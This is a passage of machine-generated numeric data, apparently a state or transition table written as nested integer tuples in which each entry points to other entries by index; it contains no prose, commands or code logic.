{1633,{11173,11173,11173,11173}}, {0,{11187,11187,11187,11187}}, {0,{11188,7974,7974,7974}}, {0,{11175,7503,7503,7975}}, {0,{11190,11222,11235,11168}}, {1634,{11191,11191,11191,11191}}, {0,{11192,11221,11221,11221}}, {0,{11193,11205,11211,11220}}, {0,{7475,7475,7475,11194}}, {0,{4913,4913,4913,11195}}, {0,{4914,4914,4914,11196}}, {0,{11197,11055,11204,11062}}, {0,{11198,11201,11201,11201}}, {0,{11199,11199,11199,11199}}, {0,{11049,11200,11049,11049}}, {1635,{11043,11043,11043,11043}}, {0,{11202,11202,11202,11202}}, {0,{0,11203,0,0}}, {1636,{0,0,0,0}}, {1637,{11198,11201,11201,11201}}, {0,{7475,7475,7475,11206}}, {0,{4913,4913,4913,11207}}, {0,{4914,4914,4914,11208}}, {0,{11209,7914,11210,0}}, {0,{11201,11201,11201,11201}}, {1638,{11201,11201,11201,11201}}, {0,{7475,7475,7475,11212}}, {0,{4913,4913,4913,11213}}, {0,{4914,4914,4914,11214}}, {0,{11215,11084,11219,11091}}, {0,{11216,11201,11201,11201}}, {0,{11217,11217,11217,11217}}, {0,{11081,11218,11081,11081}}, {1639,{11076,11076,11076,11076}}, {1640,{11216,11201,11201,11201}}, {1641,{7475,7475,7475,11206}}, {0,{11205,11205,11205,11220}}, {1643,{11223,11223,11223,11223}}, {0,{11224,8034,8034,8034}}, {0,{11225,8027,11230,8032}}, {0,{7475,7475,7475,11226}}, {0,{4913,4913,4913,11227}}, {0,{4914,4914,4914,11228}}, {0,{11229,11055,11111,11062}}, {1644,{11056,0,0,0}}, {0,{7475,7475,7475,11231}}, {0,{4913,4913,4913,11232}}, {0,{4914,4914,4914,11233}}, {0,{11234,11084,11116,11091}}, {1645,{11085,0,0,0}}, {0,{11236,11236,11236,11236}}, {0,{11237,11267,11267,11267}}, {0,{11238,11250,11254,11266}}, {0,{10995,10995,10995,11239}}, {0,{10896,10896,10896,11240}}, {0,{10897,10897,10897,11241}}, {0,{11242,11246,11111,11062}}, {0,{11243,5715,5715,5715}}, {0,{11244,11244,11244,11244}}, {0,{11245,11049,11245,11049}}, {1646,{11043,11043,11043,11043}}, {1647,{11247,8044,8044,8044}}, {0,{11248,11248,11248,11248}}, {0,{11249,11049,11249,11049}}, {1648,{11043,11043,11043,11043}}, {0,{10995,10995,10995,11251}}, {0,{10896,10896,10896,11252}}, {0,{10897,10897,10897,11253}}, {0,{5720,8043,4910,0}}, {0,{10995,10995,10995,11255}}, {0,{10896,10896,10896,11256}}, {0,{10897,10897,10897,11257}}, {0,{11258,11262,11116,11091}}, {0,{11259,5715,5715,5715}}, {0,{11260,11260,11260,11260}}, {0,{11261,11081,11261,11081}}, {1649,{11076,11076,11076,11076}}, {1650,{11263,8044,8044,8044}}, {0,{11264,11264,11264,11264}}, {0,{11265,11081,11265,11081}}, {1651,{11076,11076,11076,11076}}, {1652,{10995,10995,10995,11251}}, {0,{11250,11250,11250,11266}}, {0,{11269,11281,11269,11282}}, {0,{11270,11270,11270,11270}}, {0,{11271,8051,8051,8051}}, {0,{11272,0,11276,8058}}, {0,{0,0,0,11273}}, {0,{0,0,0,11274}}, {0,{0,0,0,11275}}, {0,{11062,11062,11062,11062}}, {0,{0,0,0,11277}}, {0,{0,0,0,11278}}, {0,{0,0,0,11279}}, {0,{11091,11091,11091,11280}}, {0,{11085,0,8057,0}}, {1653,{11270,11270,11270,11270}}, {0,{11283,11283,11283,11283}}, {0,{11284,8051,8051,8051}}, {0,{11272,0,8052,8058}}, {0,{11286,11329,11339,11385}}, {0,{11287,11305,11313,11328}}, {0,{11288,11288,11288,11288}}, {0,{11289,8082,8082,8082}}, {0,{11290,8083,8083,8083}}, {0,{7475,7475,7475,11291}}, {0,{4913,4913,4913,11292}}, {0,{4914,4914,4914,11293}}, {0,{11294,11294,11301,11294}}, {0,{11295,0,0,0}}, {0,{11296,11296,11296,11296}}, {0,{11297,11297,11297,11297}}, {0,{11298,11298,11298,11298}}, {0,{11299,11299,11299,11299}}, {0,{11300,11300,11300,11300}}, {0,{0,11046,0,0}}, {1654,{11302,7916,7916,7916}}, {0,{11303,11303,11303,11303}}, {0,{11304,11297,11304,11297}}, {1655,{11298,11298,11298,11298}}, {1656,{11306,11306,11306,11306}}, {0,{11307,7473,7473,7473}}, {0,{11308,7474,7474,7474}}, {0,{7475,7475,7475,11309}}, {0,{4913,4913,4913,11310}}, {0,{4914,4914,4914,11311}}, {0,{11294,11294,11312,11294}}, {1657,{11295,0,0,0}}, {0,{11314,11314,11314,11314}}, {0,{11315,8089,8089,8089}}, {0,{11316,8090,8090,8090}}, {0,{7487,7487,7487,11317}}, {0,{5338,5338,5338,11318}}, {0,{5335,5335,5335,11319}}, {0,{11320,11320,11324,11294}}, {0,{11321,5324,5324,5324}}, {0,{11322,11322,11322,11322}}, {0,{11323,11297,11297,11297}}, {1658,{11298,11298,11298,11298}}, {1659,{11325,7949,7949,7949}}, {0,{11326,11326,11326,11326}}, {0,{11327,11297,11304,11297}}, {1661,{11298,11298,11298,11298}}, {0,{11306,11306,11306,11306}}, {1662,{11330,11338,11330,11330}}, {0,{11331,11331,11331,11331}}, {0,{11332,8113,8113,8113}}, {0,{11333,7503,8114,7503}}, {0,{7504,7504,7504,11334}}, {0,{5517,5517,5517,11335}}, {0,{5518,5518,5518,11336}}, {0,{11294,11294,11337,11294}}, {1664,{11295,0,0,0}}, {1665,{11331,11331,11331,11331}}, {0,{11340,11357,11365,11328}}, {1666,{11341,11341,11341,11341}}, {0,{11342,11356,11356,11356}}, {0,{11343,11352,11352,11352}}, {0,{7475,7475,7475,11344}}, {0,{4913,4913,4913,11345}}, {0,{4914,4914,4914,11346}}, {0,{11347,11294,11351,11294}}, {0,{11348,11201,11201,11201}}, {0,{11349,11349,11349,11349}}, {0,{11297,11350,11297,11297}}, {1667,{11298,11298,11298,11298}}, {1668,{11348,11201,11201,11201}}, {0,{7475,7475,7475,11353}}, {0,{4913,4913,4913,11354}}, {0,{4914,4914,4914,11355}}, {0,{11209,0,11210,0}}, {0,{11352,11352,11352,11352}}, {1670,{11358,11358,11358,11358}}, {0,{11359,8143,8143,8143}}, {0,{11360,8141,8141,8141}}, {0,{7475,7475,7475,11361}}, {0,{4913,4913,4913,11362}}, {0,{4914,4914,4914,11363}}, {0,{11364,11294,11312,11294}}, {1671,{11295,0,0,0}}, {0,{11366,11366,11366,11366}}, {0,{11367,11384,11384,11384}}, {0,{11368,11380,11380,11380}}, {0,{10995,10995,10995,11369}}, {0,{10896,10896,10896,11370}}, {0,{10897,10897,10897,11371}}, {0,{11372,11376,11312,11294}}, {0,{11373,5715,5715,5715}}, {0,{11374,11374,11374,11374}}, {0,{11375,11297,11375,11297}}, {1672,{11298,11298,11298,11298}}, {0,{11377,8044,8044,8044}}, {0,{11378,11378,11378,11378}}, {0,{11379,11297,11379,11297}}, {1673,{11298,11298,11298,11298}}, {0,{10995,10995,10995,11381}}, {0,{10896,10896,10896,11382}}, {0,{10897,10897,10897,11383}}, {0,{5720,8154,4910,0}}, {0,{11380,11380,11380,11380}}, {0,{11386,11393,11386,11386}}, {0,{11387,11387,11387,11387}}, {0,{11388,0,0,0}}, {0,{11389,0,0,0}}, {0,{0,0,0,11390}}, {0,{0,0,0,11391}}, {0,{0,0,0,11392}}, {0,{11294,11294,11294,11294}}, {1674,{11387,11387,11387,11387}}, {0,{11395,10065,11396,9111}}, {0,{10338,9122,8087,7488}}, {0,{11397,9132,11399,7488}}, {1675,{11398,11398,11398,11398}}, {0,{11356,11356,11356,11356}}, {0,{11400,11400,11400,11400}}, {0,{11401,11401,11401,11384}}, {0,{11402,11402,11402,11402}}, {0,{10995,10995,10995,11403}}, {0,{10896,10896,10896,11404}}, {0,{10897,10897,10897,11405}}, {0,{5720,8169,4910,0}}, {0,{11395,10065,11407,9111}}, {0,{11397,9132,11408,7488}}, {0,{11409,11409,11409,11409}}, {0,{11384,11384,11384,11384}}, {0,{11411,11433,10055,10055}}, {0,{11412,11424,11425,11412}}, {0,{11413,11420,11413,11421}}, {0,{11414,11414,11414,11414}}, {0,{11415,8185,8185,8185}}, {0,{11272,0,11416,8058}}, {0,{0,0,0,11417}}, {0,{0,0,0,11418}}, {0,{0,0,0,11419}}, {0,{11091,11091,11091,11091}}, {1676,{11414,11414,11414,11414}}, {0,{11422,11422,11422,11422}}, {0,{11423,8185,8185,8185}}, {0,{11272,0,0,8058}}, {1677,{11413,11420,11413,11421}}, {0,{11426,11429,11426,11430}}, {0,{11427,11427,11427,11427}}, {0,{11428,8205,8205,8205}}, {0,{11272,0,11416,8206}}, {1678,{11427,11427,11427,11427}}, {0,{11431,11431,11431,11431}}, {0,{11432,8205,8205,8205}}, {0,{11272,0,0,8206}}, {0,{11385,11434,11385,11385}}, {1679,{11386,11393,11386,11386}}, {0,{11436,11481,10981,10981}}, {0,{11437,11452,11453,11480}}, {0,{11438,11440,11441,11421}}, {0,{11439,11439,11439,11439}}, {0,{11415,8251,8185,8185}}, {1680,{11439,11439,11439,11439}}, {0,{11442,11442,11442,11442}}, {0,{11443,8272,8270,8270}}, {0,{11444,7172,11448,8271}}, {0,{7158,7158,7158,11445}}, {0,{7159,7159,7159,11446}}, {0,{7156,7156,7156,11447}}, {0,{11162,11162,11162,11062}}, {0,{7158,7158,7158,11449}}, {0,{7159,7159,7159,11450}}, {0,{7156,7156,7156,11451}}, {0,{11167,11167,11167,11091}}, {1681,{11438,11440,11438,11421}}, {0,{11454,11467,11438,11421}}, {0,{11455,11455,11455,11455}}, {0,{11456,8310,8308,8308}}, {0,{11457,7317,11462,8309}}, {0,{7311,7311,7311,11458}}, {0,{7310,7310,7310,11459}}, {0,{7308,7308,7308,11460}}, {0,{11461,11062,11062,11062}}, {1682,{11056,0,0,0}}, {0,{7311,7311,7311,11463}}, {0,{7310,7310,7310,11464}}, {0,{7308,7308,7308,11465}}, {0,{11466,11091,11091,11091}}, {1683,{11085,0,0,0}}, {1684,{11468,11468,11468,11468}}, {0,{11469,10532,8336,8336}}, {0,{11470,7345,11475,8324}}, {0,{7346,7346,7346,11471}}, {0,{7347,7347,7347,11472}}, {0,{7348,7348,7348,11473}}, {0,{11474,11062,11062,11062}}, {1685,{11056,0,0,0}}, {0,{7346,7346,7346,11476}}, {0,{7347,7347,7347,11477}}, {0,{7348,7348,7348,11478}}, {0,{11479,11091,11091,11091}}, {1686,{11085,0,0,0}}, {0,{11438,11440,11438,11421}}, {0,{11482,11434,11490,11385}}, {0,{11386,11393,11483,11386}}, {0,{11484,11484,11484,11484}}, {0,{11485,7408,7408,7408}}, {0,{11486,7172,7172,7172}}, {0,{7158,7158,7158,11487}}, {0,{7159,7159,7159,11488}}, {0,{7156,7156,7156,11489}}, {0,{11320,11320,11320,11294}}, {0,{11491,11499,11386,11386}}, {0,{11492,11492,11492,11492}}, {0,{11493,7417,7417,7417}}, {0,{11494,7317,7317,7317}}, {0,{7311,7311,7311,11495}}, {0,{7310,7310,7310,11496}}, {0,{7308,7308,7308,11497}}, {0,{11498,11294,11294,11294}}, {1687,{11295,0,0,0}}, {1688,{11500,11500,11500,11500}}, {0,{11501,7424,7424,7424}}, {0,{11502,7345,7345,7345}}, {0,{7346,7346,7346,11503}}, {0,{7347,7347,7347,11504}}, {0,{7348,7348,7348,11505}}, {0,{11506,11294,11294,11294}}, {1689,{11295,0,0,0}}, {0,{11508,11433,10055,10055}}, {0,{11509,11511,11509,11509}}, {0,{11421,11510,11421,11421}}, {1690,{11422,11422,11422,11422}}, {1691,{11421,11510,11421,11421}}, {0,{11513,11555,11558,11559}}, {0,{11514,10054,11547,10054}}, {0,{11515,10918,10959,10959}}, {0,{11516,11545,10968,9104}}, {0,{11517,11544,8496,6412}}, {0,{11518,11518,11518,11538}}, {0,{10963,10963,11519,10963}}, {0,{11520,11520,11520,10964}}, {0,{4939,4916,4916,11521}}, {0,{11522,4913,4915,4913}}, {0,{11523,10831,10831,10831}}, {0,{11524,0,4910,0}}, {0,{10833,11525,10833,10833}}, {0,{11526,8465,8465,8465}}, {0,{11527,8442,8442,0}}, {0,{8443,11528,8443,8443}}, {0,{11529,11529,11529,11529}}, {0,{11530,11530,11530,11530}}, {0,{11531,11531,11531,10839}}, {0,{11532,11532,11532,11532}}, {0,{0,0,0,11533}}, {0,{0,0,0,11534}}, {0,{0,0,0,11535}}, {0,{11536,0,0,0}}, {0,{11537,9308,9308,9308}}, {1692,{9218,0,0,0}}, {0,{6414,6414,11539,6414}}, {0,{11540,11540,11540,6415}}, {0,{4939,4916,4916,11541}}, {0,{11542,4913,4915,4913}}, {0,{11543,4914,4914,4914}}, {0,{8523,0,4910,0}}, {1693,{11538,11538,11538,11538}}, {1694,{8527,11546,8527,6365}}, {1695,{8517,8517,8517,8517}}, {0,{11548,10981,11552,10981}}, {1697,{11549,10548,11550,10555}}, {0,{8564,10547,8560,0}}, {0,{11551,10553,8564,0}}, {0,{8569,8569,8569,8569}}, {1699,{10982,9702,11553,9111}}, {0,{11554,10566,8605,8605}}, {0,{8589,8589,8589,8589}}, {0,{10987,10054,11556,10054}}, {0,{10981,10981,11557,10981}}, {0,{10982,9702,11553,9111}}, {0,{10987,10054,11547,10054}}, {0,{11560,10054,11556,10054}}, {0,{11406,11406,11406,11406}}, {0,{11562,11589,11591,11592}}, {0,{11563,10054,11588,10054}}, {0,{11564,10918,10949,10959}}, {0,{11565,10661,11580,9104}}, {0,{11566,11573,8794,8805}}, {0,{11567,11567,11567,8806}}, {0,{11568,11568,11568,11568}}, {0,{10862,10862,10862,11569}}, {0,{4939,4916,4916,11570}}, {0,{11571,4913,4915,4913}}, {0,{11572,10831,10831,10831}}, {0,{10818,0,8779,0}}, {1700,{11574,11574,11574,11574}}, {0,{11575,11575,11575,8807}}, {0,{11576,5434,5434,8808}}, {0,{4939,4916,4916,11577}}, {0,{11578,4913,4915,4913}}, {0,{11579,4914,4914,4914}}, {0,{10873,0,4910,0}}, {0,{10665,10666,11581,8859}}, {0,{11582,11582,11582,11582}}, {0,{11583,11583,11583,11583}}, {0,{10912,10912,10912,11584}}, {0,{10895,10895,10895,11585}}, {0,{11586,10896,10898,10896}}, {0,{11587,10897,10897,10897}}, {0,{5737,0,8779,0}}, {0,{10985,10981,10985,10981}}, {0,{10987,10054,11590,10054}}, {0,{10981,10981,10981,10981}}, {0,{11002,10054,11588,10054}}, {0,{11593,10054,11590,10054}}, {0,{11594,11623,11624,11406}}, {0,{11595,11608,11610,9111}}, {0,{11596,11607,8952,8985}}, {0,{11597,11597,11597,8935}}, {0,{11598,11598,11598,8936}}, {0,{11599,11599,11599,11599}}, {0,{7475,7475,7475,11600}}, {0,{4913,4913,4913,11601}}, {0,{4914,4914,4914,11602}}, {0,{11603,7914,7915,0}}, {0,{11604,11604,11604,11604}}, {0,{11053,11605,11053,7864}}, {0,{11606,8925,8925,8925}}, {1702,{8924,8924,8924,8924}}, {1703,{8986,8986,8986,8986}}, {1704,{9008,11609,9008,9008}}, {1705,{8997,8997,8997,8997}}, {0,{11611,11614,11615,9033}}, {1706,{11612,11612,11612,11612}}, {0,{11613,11613,11613,11613}}, {0,{11205,11205,11205,11205}}, {1708,{10720,10720,10720,10720}}, {0,{11616,11616,11616,11616}}, {0,{11617,11617,11617,11622}}, {0,{11618,11618,11618,11618}}, {0,{10995,10995,10995,11619}}, {0,{10896,10896,10896,11620}}, {0,{10897,10897,10897,11621}}, {0,{9026,8043,4910,0}}, {0,{11250,11250,11250,11250}}, {0,{11395,10339,11407,9111}}, {0,{11625,10065,11626,9111}}, {0,{10338,9122,9040,7488}}, {0,{11627,10761,11635,9091}}, {1709,{11628,11628,11628,11628}}, {0,{11629,11629,11629,11629}}, {0,{11630,11630,11630,11630}}, {0,{7475,7475,7475,11631}}, {0,{4913,4913,4913,11632}}, {0,{4914,4914,4914,11633}}, {0,{11634,0,11210,0}}, {1711,{11201,11201,11201,11201}}, {0,{11636,11636,11636,11636}}, {0,{11637,11637,11637,11642}}, {0,{11638,11638,11638,11638}}, {0,{10995,10995,10995,11639}}, {0,{10896,10896,10896,11640}}, {0,{10897,10897,10897,11641}}, {0,{9081,8169,4910,0}}, {0,{11643,11643,11643,11643}}, {0,{10995,10995,10995,11644}}, {0,{10896,10896,10896,11645}}, {0,{10897,10897,10897,11646}}, {0,{9090,8154,4910,0}}, {0,{11648,11589,11589,11650}}, {0,{11649,10054,11590,10054}}, {0,{10959,10959,10959,10959}}, {0,{11651,10054,11590,10054}}, {0,{11406,11406,11406,11652}}, {0,{11395,10065,11653,9111}}, {0,{11397,9132,11654,7488}}, {0,{11655,11655,11655,11655}}, {0,{11384,11384,11384,11656}}, {0,{11380,11380,11380,11657}}, {0,{10995,10995,10995,11658}}, {0,{10896,10896,10896,11659}}, {0,{10897,10897,10897,11660}}, {0,{9143,8154,11661,0}}, {1712,{0,0,0,9148}}, {0,{11663,11726,11736,11751}}, {0,{11664,11697,11702,11711}}, {0,{11665,11683,11689,11696}}, {0,{11666,11671,11676,11680}}, {0,{11667,11668,11669,11670}}, {0,{9518,9518,9518,9518}}, {1713,{9520,9520,9520,9520}}, {0,{9546,9546,9546,9546}}, {0,{9562,9562,9562,9562}}, {0,{11672,11673,11674,11675}}, {0,{6061,6061,6061,6061}}, {1714,{6274,6274,6274,6274}}, {0,{6324,6324,6324,6324}}, {0,{6326,6326,6326,6326}}, {0,{11677,11678,11679,11675}}, {0,{6351,6351,6351,6351}}, {1715,{6365,6365,6365,6365}}, {0,{6380,6380,6380,6380}}, {0,{11681,11678,11682,11675}}, {0,{6412,6412,6412,6412}}, {0,{6434,6434,6434,6434}}, {0,{11684,11687,11687,11687}}, {0,{11685,11686,11685,11685}}, {0,{9694,9694,9694,9694}}, {1716,{9694,9694,9694,9694}}, {0,{0,11688,0,0}}, {1717,{0,0,0,0}}, {0,{11690,11687,11695,11687}}, {1719,{11691,11692,11693,11694}}, {0,{9987,9987,9987,9987}}, {1720,{9991,9991,9991,9991}}, {0,{10037,10037,10037,10037}}, {0,{10041,10041,10041,10041}}, {1722,{0,11688,0,0}}, {0,{11687,11687,11687,11687}}, {0,{11698,11696,11696,11696}}, {0,{11699,11699,11699,11699}}, {0,{11700,11701,11700,0}}, {0,{7488,7488,7488,7488}}, {1723,{7512,7512,7512,7512}}, {0,{11703,11696,11710,11696}}, {0,{11704,11707,11704,11699}}, {0,{11705,11706,11705,0}}, {0,{7649,7649,7649,7649}}, {1724,{7683,7683,7683,7683}}, {0,{11708,11709,11708,0}}, {0,{7755,7755,7755,7755}}, {1725,{7781,7781,7781,7781}}, {0,{11695,11687,11695,11687}}, {0,{11712,11719,11724,11724}}, {0,{11713,11717,11699,11699}}, {0,{11714,11715,11714,11716}}, {0,{7960,7960,7960,7960}}, {1726,{7999,7999,7999,7999}}, {0,{8049,8049,8049,8049}}, {0,{11700,11718,11700,0}}, {1727,{8128,8128,8128,8128}}, {0,{11720,11687,11687,11687}}, {0,{11721,11722,11723,11721}}, {0,{8191,8191,8191,8191}}, {1728,{8191,8191,8191,8191}}, {0,{8216,8216,8216,8216}}, {0,{11725,11687,11687,11687}}, {0,{11721,11722,11721,11721}}, {0,{11727,11732,11735,11732}}, {0,{11728,11696,11729,11696}}, {0,{11680,11671,11680,11680}}, {0,{11695,11687,11730,11687}}, {1730,{0,11688,11731,0}}, {0,{8605,8605,8605,8605}}, {0,{11698,11696,11733,11696}}, {0,{11687,11687,11734,11687}}, {0,{0,11688,11731,0}}, {0,{11698,11696,11729,11696}}, {0,{11737,11697,11702,11743}}, {0,{11738,11696,11710,11696}}, {0,{11739,11671,11676,11680}}, {0,{11740,11741,11742,11675}}, {0,{8805,8805,8805,8805}}, {1731,{8836,8836,8836,8836}}, {0,{8859,8859,8859,8859}}, {0,{11744,11696,11696,11696}}, {0,{11745,11717,11749,11699}}, {0,{11746,11747,11748,0}}, {0,{8985,8985,8985,8985}}, {1732,{9008,9008,9008,9008}}, {0,{9033,9033,9033,9033}}, {0,{11700,11701,11750,0}}, {0,{9091,9091,9091,9091}}, {0,{11752,11697,11697,11697}}, {0,{11753,11696,11696,11696}}, {0,{11680,11680,11680,11680}}, {0,{11755,12282,12489,12602}}, {0,{11756,12110,12141,12264}}, {0,{11757,11862,11914,11925}}, {0,{11758,11790,11810,11857}}, {0,{11759,11779,11787,11787}}, {0,{11760,11760,11760,11777}}, {0,{11761,11765,11767,7453}}, {0,{11762,7454,0,0}}, {0,{11763,0,0,0}}, {0,{11764,6586,0,0}}, {0,{6573,6577,6577,6577}}, {0,{11766,7450,6614,6614}}, {0,{11763,6611,0,0}}, {1734,{11768,11768,11776,11776}}, {0,{11769,11774,11775,11775}}, {0,{11770,11773,11773,11773}}, {0,{6591,0,0,11771}}, {0,{11772,0,0,0}}, {1735,{0,0,0,0}}, {0,{0,0,0,11771}}, {1736,{11773,11773,11773,11773}}, {0,{11773,11773,11773,11773}}, {0,{11775,11774,11775,11775}}, {0,{7453,11778,11767,7453}}, {0,{7450,7450,6614,6614}}, {0,{11780,11780,11780,11785}}, {0,{11781,11783,11784,0}}, {0,{11782,0,0,0}}, {0,{7559,0,0,0}}, {0,{6607,6612,6612,6614}}, {1738,{11776,11776,11776,11776}}, {0,{0,11786,11784,0}}, {0,{6612,6612,6612,6614}}, {0,{11788,11788,11788,11788}}, {0,{0,11789,11784,0}}, {0,{6614,6614,6614,6614}}, {0,{11791,11802,11808,11808}}, {0,{11792,11792,11792,11800}}, {0,{11793,11795,11796,6593}}, {0,{11794,6594,6561,6561}}, {0,{6571,6562,6562,6562}}, {0,{6570,6588,6592,6592}}, {1740,{11797,11797,11799,11799}}, {0,{6589,11798,6562,6562}}, {1741,{6563,0,6563,0}}, {0,{6562,11798,6562,6562}}, {0,{6593,11801,11796,6593}}, {0,{6588,6588,6592,6592}}, {0,{11803,11803,11803,11807}}, {0,{11781,11783,11804,0}}, {1743,{11805,11805,11805,11805}}, {0,{0,11806,0,0}}, {1744,{0,0,0,0}}, {0,{0,11786,11804,0}}, {0,{11809,11809,11809,11809}}, {0,{0,11789,11804,0}}, {1746,{11811,11802,11808,11808}}, {0,{11812,11812,11833,11854}}, {0,{11813,11821,11826,11830}}, {0,{11814,11818,11820,11820}}, {0,{11815,11816,11817,11816}}, {0,{7122,6586,7100,0}}, {0,{7090,0,7100,0}}, {0,{7107,0,7113,0}}, {0,{11819,11816,11817,11816}}, {0,{7139,0,7100,0}}, {0,{11816,11816,11817,11816}}, {0,{11822,11824,11825,11825}}, {0,{11815,11823,11817,11816}}, {1748,{7090,0,7100,0}}, {0,{11819,11823,11817,11816}}, {0,{11816,11823,11817,11816}}, {1750,{11827,11827,11829,11829}}, {0,{11819,11828,11817,11816}}, {1751,{7090,0,7100,0}}, {0,{11816,11828,11817,11816}}, {0,{11831,11831,11832,11832}}, {0,{11819,11816,11816,11816}}, {0,{11816,11816,11816,11816}}, {0,{11834,11842,11847,11851}}, {0,{11835,11839,11841,11841}}, {0,{11836,11837,11838,11837}}, {0,{7122,6586,0,0}}, {0,{7090,0,0,0}}, {0,{7107,0,7385,0}}, {0,{11840,11837,11838,11837}}, {0,{7139,0,0,0}}, {0,{11837,11837,11838,11837}}, {0,{11843,11845,11846,11846}}, {0,{11836,11844,11838,11837}}, {1753,{7090,0,0,0}}, {0,{11840,11844,11838,11837}}, {0,{11837,11844,11838,11837}}, {1755,{11848,11848,11850,11850}}, {0,{11840,11849,11838,11837}}, {1756,{7090,0,0,0}}, {0,{11837,11849,11838,11837}}, {0,{11852,11852,11853,11853}}, {0,{11840,11837,11837,11837}}, {0,{11837,11837,11837,11837}}, {0,{11855,11856,11847,11851}}, {0,{11839,11839,11841,11841}}, {0,{11845,11845,11846,11846}}, {0,{11858,11808,11808,11808}}, {0,{11859,11859,11859,11859}}, {0,{7453,11778,11860,7453}}, {1758,{11861,11861,11805,11805}}, {0,{7451,11806,0,0}}, {0,{11863,11899,11903,11913}}, {0,{11864,11887,11898,11898}}, {0,{11865,11865,11865,11885}}, {0,{11866,11877,11881,11884}}, {0,{11867,11876,11876,11876}}, {0,{11868,11875,11875,11875}}, {0,{11869,11869,11872,11872}}, {0,{11870,11870,11870,11870}}, {0,{6578,6578,11871,6578}}, {1759,{6576,6576,6576,6576}}, {0,{11873,11873,11873,11873}}, {0,{0,0,11874,0}}, {1760,{0,0,0,0}}, {0,{11872,11872,11872,11872}}, {0,{11875,11875,11875,11875}}, {0,{11878,11880,11880,11880}}, {0,{11868,11879,11875,11875}}, {1762,{11872,11872,11872,11872}}, {0,{11875,11879,11875,11875}}, {1764,{11882,11882,11882,11882}}, {0,{11875,11883,11875,11875}}, {1765,{11872,11872,11872,11872}}, {0,{11876,11876,11876,11876}}, {0,{11884,11886,11881,11884}}, {0,{11880,11880,11880,11880}}, {0,{11888,11888,11888,11896}}, {0,{11866,11889,11881,11884}}, {0,{11890,11894,11894,11880}}, {0,{11891,11879,11875,11875}}, {0,{11892,11892,11893,11872}}, {1766,{11870,11870,11870,11870}}, {1767,{11873,11873,11873,11873}}, {0,{11895,11879,11875,11875}}, {0,{11893,11893,11893,11872}}, {0,{11884,11897,11881,11884}}, {0,{11894,11894,11894,11880}}, {0,{11885,11885,11885,11885}}, {0,{11900,11802,11808,11808}}, {0,{11901,11901,11901,11809}}, {0,{11781,11902,11804,0}}, {0,{7558,6614,6614,6614}}, {1769,{11904,11802,11808,11808}}, {0,{11905,11905,11905,11911}}, {0,{11906,11908,11909,0}}, {0,{11907,7569,7569,7569}}, {0,{7559,0,7570,0}}, {0,{7573,7574,7574,7574}}, {1771,{11910,11910,11910,11910}}, {0,{0,11806,7570,0}}, {0,{7580,11912,11909,0}}, {0,{7574,7574,7574,7574}}, {0,{11808,11808,11808,11808}}, {0,{11899,11899,11915,11913}}, {1773,{11916,11802,11808,11808}}, {0,{11917,11917,11917,11923}}, {0,{11918,11920,11921,0}}, {0,{11919,7816,7816,7816}}, {0,{7559,0,7817,0}}, {0,{7821,7822,7822,7822}}, {1775,{11922,11922,11922,11922}}, {0,{0,11806,7817,0}}, {0,{7829,11924,11921,0}}, {0,{7822,7822,7822,7822}}, {0,{11926,12059,12084,12103}}, {0,{11927,12029,11808,11808}}, {1777,{11928,11928,11928,12002}}, {0,{11929,11964,11998,12001}}, {0,{11930,11957,11963,11963}}, {0,{11931,11956,11956,11956}}, {0,{11932,6586,11950,8058}}, {0,{6577,6577,6577,11933}}, {0,{6578,6578,6578,11934}}, {0,{6576,6576,6576,11935}}, {0,{11936,11936,11936,11948}}, {0,{11937,4982,0,0}}, {0,{11938,11938,11938,11947}}, {0,{11939,11939,11945,11945}}, {0,{11940,11940,0,0}}, {0,{11941,11944,11944,11944}}, {0,{3760,11942,0,0}}, {0,{0,0,11943,0}}, {1778,{0,0,0,0}}, {0,{0,11942,0,0}}, {0,{11946,11946,0,0}}, {0,{11944,11944,11944,11944}}, {0,{11945,11945,11945,11945}}, {0,{11949,0,0,0}}, {0,{11947,11947,11947,11947}}, {0,{0,0,0,11951}}, {0,{0,0,0,11952}}, {0,{0,0,0,11953}}, {0,{11954,11954,11954,11954}}, {0,{11955,0,0,0}}, {1779,{0,0,0,0}}, {0,{0,0,11950,8058}}, {0,{11958,11956,11956,11956}}, {0,{11959,0,11950,8058}}, {0,{0,0,0,11960}}, {0,{0,0,0,11961}}, {0,{0,0,0,11962}}, {0,{11948,11948,11948,11948}}, {0,{11956,11956,11956,11956}}, {0,{11965,11993,11995,11997}}, {0,{11966,11979,11980,11956}}, {0,{11932,6586,11967,8058}}, {0,{0,0,0,11968}}, {0,{0,0,0,11969}}, {0,{0,0,0,11970}}, {0,{11971,11971,11971,11971}}, {0,{11972,0,0,0}}, {1780,{11973,11973,11973,11973}}, {0,{11974,11974,11974,11974}}, {0,{11975,11975,11975,0}}, {0,{11976,11976,11976,11976}}, {0,{0,0,11977,0}}, {0,{11978,0,0,0}}, {1781,{0,0,0,0}}, {1783,{0,0,11950,8058}}, {0,{0,11981,11950,8058}}, {0,{0,0,0,11982}}, {0,{0,0,0,11983}}, {0,{0,0,0,11984}}, {0,{11985,0,0,0}}, {0,{0,11986,0,0}}, {0,{11987,11987,11987,11987}}, {0,{11988,11988,11988,0}}, {0,{11989,11989,11989,11989}}, {0,{11990,11990,11990,11990}}, {0,{11991,11991,11991,11991}}, {0,{0,0,11992,0}}, {1784,{0,0,0,0}}, {0,{11994,11979,11980,11956}}, {0,{11959,0,11967,8058}}, {0,{11996,11979,11980,11956}}, {0,{0,0,11967,8058}}, {0,{11956,11979,11980,11956}}, {1786,{11999,11999,11999,11999}}, {0,{11956,12000,11956,11956}}, {1787,{0,0,11950,8058}}, {0,{11963,11963,11963,11963}}, {0,{12003,12013,12025,12028}}, {0,{12004,12004,12012,12012}}, {0,{12005,12011,12011,12011}}, {0,{11959,0,12006,8058}}, {0,{0,0,0,12007}}, {0,{0,0,0,12008}}, {0,{0,0,0,12009}}, {0,{11954,11954,11954,12010}}, {0,{11955,0,8057,0}}, {0,{0,0,12006,8058}}, {0,{12011,12011,12011,12011}}, {0,{12014,12014,12022,12024}}, {0,{12015,12021,12011,12011}}, {0,{11959,0,12016,8058}}, {0,{0,0,0,12017}}, {0,{0,0,0,12018}}, {0,{0,0,0,12019}}, {0,{11971,11971,11971,12020}}, {0,{11972,0,8057,0}}, {1789,{0,0,12006,8058}}, {0,{12023,12021,12011,12011}}, {0,{0,0,12016,8058}}, {0,{12011,12021,12011,12011}}, {1791,{12026,12026,12026,12026}}, {0,{12011,12027,12011,12011}}, {1792,{0,0,12006,8058}}, {0,{12012,12012,12012,12012}}, {0,{12030,12030,12030,11807}}, {0,{12031,12046,12055,12058}}, {0,{12032,12045,12045,12045}}, {0,{12033,12044,12044,12044}}, 